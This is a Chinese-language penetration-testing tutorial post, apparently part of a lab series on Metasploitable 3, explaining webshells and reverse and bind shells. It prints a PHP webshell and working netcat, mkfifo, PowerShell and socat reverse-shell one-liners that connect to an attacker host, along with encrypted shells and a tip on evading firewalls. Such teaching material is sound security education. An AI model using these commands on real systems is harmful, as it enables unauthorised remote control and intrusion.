iT邦幫忙

2021 iThome 鐵人賽

DAY 21
1
Security

資安這條路─系統化學習滲透測試系列 第 21

Day21 - 針對 Metasploitable 3 進行滲透測試(2) - Shell & Reverse Shell基礎知識

  • 分享至 

  • xImage
  •  

緣起

透過上一篇,我們透過 nmap 掃描 port,在從版本去查詢漏洞資料庫,知道目標伺服器(受害主機)可能會有已知漏洞,而我們透過 exploit /POC 是為了達到什麼目的呢?

其實我們最終目的就是希望可以控制被害的伺服器,但如何控制?透過什麼東西控制?為什麼要控制?

我們透過已知漏洞,上傳木馬後門、執行惡意程式或執行惡意指令,讓我們可以連線到伺服器,並且可以在該台伺服器任意執行指令,這就是所謂的 Remote code execution (RCE) 遠端執行指令的弱點,屬於風險與影響最高的弱點。

webshell

假設是上傳一個後門也就是從網站端去執行程式碼,這個程式碼可以透過網頁的方式與伺服器互動,我們稱它為 webshell。

webshell 內容可能如下,這是一個由 PHP 撰寫的後門:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

可以透過 http://ip/uploads/shell.php?cmd=ifconfig 由參數 cmd 中執行指令。

shell 種類

除了透過弱點上傳 WebShell 之外,也可以透過已知弱點,執行惡意指令或執行惡意程式,讓我們達到穩定的連線,並跟目標伺服器作互動,以下介紹兩種種類的 shell 連線方式:

  • Reverse shells
    • 攻擊機器:監聽 port,等待受害主機連線。
    • 受害機器:因為攻擊機器已經有監聽 port,而受害機器連線到攻擊機器所監聽的 port 之後,受害主機也有設定連線後執行的程式,也就是會將自己的控制權限,一起交給攻擊機器。
  • Bind shells
    • 受害機器:監聽 port 並且設定連線後執行的程式或binary,如 /bin/shcmd.exe
    • 攻擊機器:連線到受害機器,因為有設定連線後執行的程式,因此可以控制受害機器。

此外還有一個概念可以簡單將互動模式分成互動與非互動:

  • Interactive 互動式
    • 常見於 PowerShell、Bash、Zsh、sh 等 CLI 都是互動的 shell,可以允許執行程式之後跟程式互動,如使用指令 ssh,輸入 IP 、帳號和密碼之後,可以跟目標進行連線。
  • Non-Interactive 非互動式
    • 很多 shell 是非互動式,可能沒有辦法收到想要的資訊。

shell 工具介紹

netcat

人家都說是網路瑞士刀,可以手動跟網路進行互瞪,前幾篇有介紹可以利用該工具確認目標開的 port,不過該工具有時候比較不穩定,有 Windows 的版本。

Reverse shell:在 Linux 中利用 netcat 啟動 listen 監聽
攻擊主機:sudo nc -lvnp <監聽 port>
受害主機(Linux):sudo nc <攻擊主機IP> <監聽 port> -e /bin/bash
受害主機(Windows):sudo nc <攻擊主機IP> <監聽 port> -e "cmd.exe"

參數 說明
-l 啟動監聽模式
-v 輸出詳細資訊
-n 不要解析 DNS
-p 指定 port
-e 設定連線後執行的程式

※可以指定常用的 port 80,443,53 比較容易讓防火牆偵測不到

Bind shell:在 Windows 中利用 netcat 啟動 listen 監聽
受害主機(Windows):sudo nc -lvnp <port> -e "cmd.exe"
受害主機(Linux):sudo nc -lvnp <port> -e "/bin/bash"
攻擊主機:sudo nc <受害主機IP> <port>

Reverse shell:加強連線
攻擊主機:sudo nc -lvnp <監聽 port>
受害主機:sudo nc <攻擊主機IP> <監聽 port> -e /bin/bash

於攻擊者機中,看到 connect to [x.x.x.x.] from (xxxxxx) [xxxxxxxx]
表示受害主機已經連線,在此畫面可以輸入指令,但因為非互動式的,且會有輸出格式的錯誤,甚至是有亂碼,導致非常不穩定,可透過以下 Python 的方法提升連線。

加強連線方法一

  1. python -c 'import pty;pty.spawn("/bin/bash")'
    可能需要確認目標主機的 Python 版本,可能有 python 或 python2 或 python3。
    透過 Python 產生一個穩定的 Linux Shell
  2. export TERM=xterm
    透過該指令可讓我們使用 term 內建的功能,如 tab 快速補完指令或式 clear
  3. 輸入【Ctrl + Z】
    透過鍵盤按下 Ctrl 鍵和 Z 鍵,可以讓這個連線隱藏在背景,回到攻擊主機自己的操作指令介面。
  4. stty raw -echo; fg 不輸出我們自己輸入的指令,且讓在背景的連線,回到前景。

加強連線方法二
使用工具 rlwrap 提升穩定:

  1. sudo apt install rlwrap
    利用管理員權限執行 apt 安裝 rlwrap 工具。
  2. rlwrap nc -lvnp <port>
    攻擊主機在監聽時需要在最前面利用 rlwrap 加強連線。

利用 mkfifo 建立有名稱的 pipe:Reverse shell
攻擊主機:sudo nc -lvnp <監聽 port>

受害主機(linux):mkfifo /tmp/f; nc <攻擊主機IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

建立一個命名的 pipo 於資料夾 /tmp 內的檔案 f,並利用 nc 將攻擊主機傳來的指令內容從 /tmp/f 輸出連接,並將我們輸入的指令送給 sh 去執行,如果有錯誤訊息直接傳入背景,最後移除 /tmp/f。

受害主機(Windows):

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<攻擊主機IP>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

利用 mkfifo 建立有名稱的 pipe:Bind shell
受害主機:mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

建立一個命名的 pipo 於資料夾 /tmp 內的檔案 f,並利用 nc 將監聽的內容從 /tmp/f 輸出連接,並將我們輸入的指令送給 sh 去執行,如果有錯誤訊息直接傳入背景,最後移除 /tmp/f。

攻擊主機:sudo nc <受害主機IP> <port>

Socat

比 netcat 穩定,但語法比較困難,預設狀況下 Linux 會安裝 netcat 比較少安裝 socat,有 Windows 的版本。

Reverse shell
攻擊主機:socat TCP-L:<port> -
受害主機(Windows):socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
pipes 代表連線後執行 powershell,並利用 Linux 標準的輸入輸出。
受害主機(Linux):socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

Bind shell
受害主機(Linux):socat TCP-L:<PORT> EXEC:"bash -li"
受害主機(Windows):socat TCP-L:<PORT> EXEC:powershell.exe,pipes
攻擊主機:socat TCP:<TARGET-IP>:<TARGET-PORT> -

穩定針對 Linux 的 Reverse Shell
攻擊主機:socat TCP-L:<port> FILE:tty,raw,echo=0

把目前的 tty 當作檔案傳送,並將回傳值設定為零。

無 socat 情況
如果沒有 socat 可在受害主機下載後執行,預先編好的 socat ,並輸入以下的指令:
攻擊主機:sudo rlerap nc -lvnp [port]
當看到 connect to [x.x.x.x.] from (xxxxxx) [xxxxxxxx] 與受害主機連線成功後,執行以下指令:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

參數 說明
pty 為了連線穩定品質,在目標隨機分配一個數字。
stderr 因為非互動式的 shell 可能會有錯誤訊息,因此確保錯誤訊息顯示在 shell 中。
sigint 允許我們透過 Ctrl + C 取消 shell 的指令。
setsid 設定新的連線過6
sane 穩定 shell

加密 socat 連線:Reverse Shell

  1. 使用 openssl 生產一個 2048 bit RSA key 的 證書
    openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
  2. 將兩個檔案合併成 pem 檔
    cat shell.key shell.crt > shell.pem
  3. 攻擊主機 設置 listen
    socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
  4. 受害主機 連線
    socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

加密 socat 連線:Bind Shell

  1. 使用 openssl 生產一個 2048 bit RSA key 的 證書
    openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
  2. 將兩個檔案合併成 pem 檔
    cat shell.key shell.crt > shell.pem
  3. 受害主機
    socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
  4. 攻擊主機
    socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

除了 webshell 和工具 netcat 、socat 之外還有其他其他程式語言與指令可以利用,Reverse Shell Cheat Sheet,包含PythonPHPRubyGolang,等其他指令。

接下來還會詳細介紹兩個工具(Msfvenom 與 Metasploit 中的模組 multi/handler)

  • Msfvenom
    可以產生有用的 payload (.exe, .aspx, .war, .py)提供給攻擊者上傳到受害環境。
  • Metasploit 工具中的 multi/handler 模組
    可以用來接收反彈的 shell ,比 netcat 和 socat 連線較穩定,通常用 use auxiliary/multi/handler 之後,進行額外的設定,如設定 PAYLOAD 、Listen IP、Listen port 等。

上一篇
Day20 - 針對 Metasploitable 3 進行滲透測試(1)
下一篇
Day22 - 針對 Metasploitable 3 進行滲透測試(3) - Msfvenom 與 multi/handler
系列文
資安這條路─系統化學習滲透測試37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言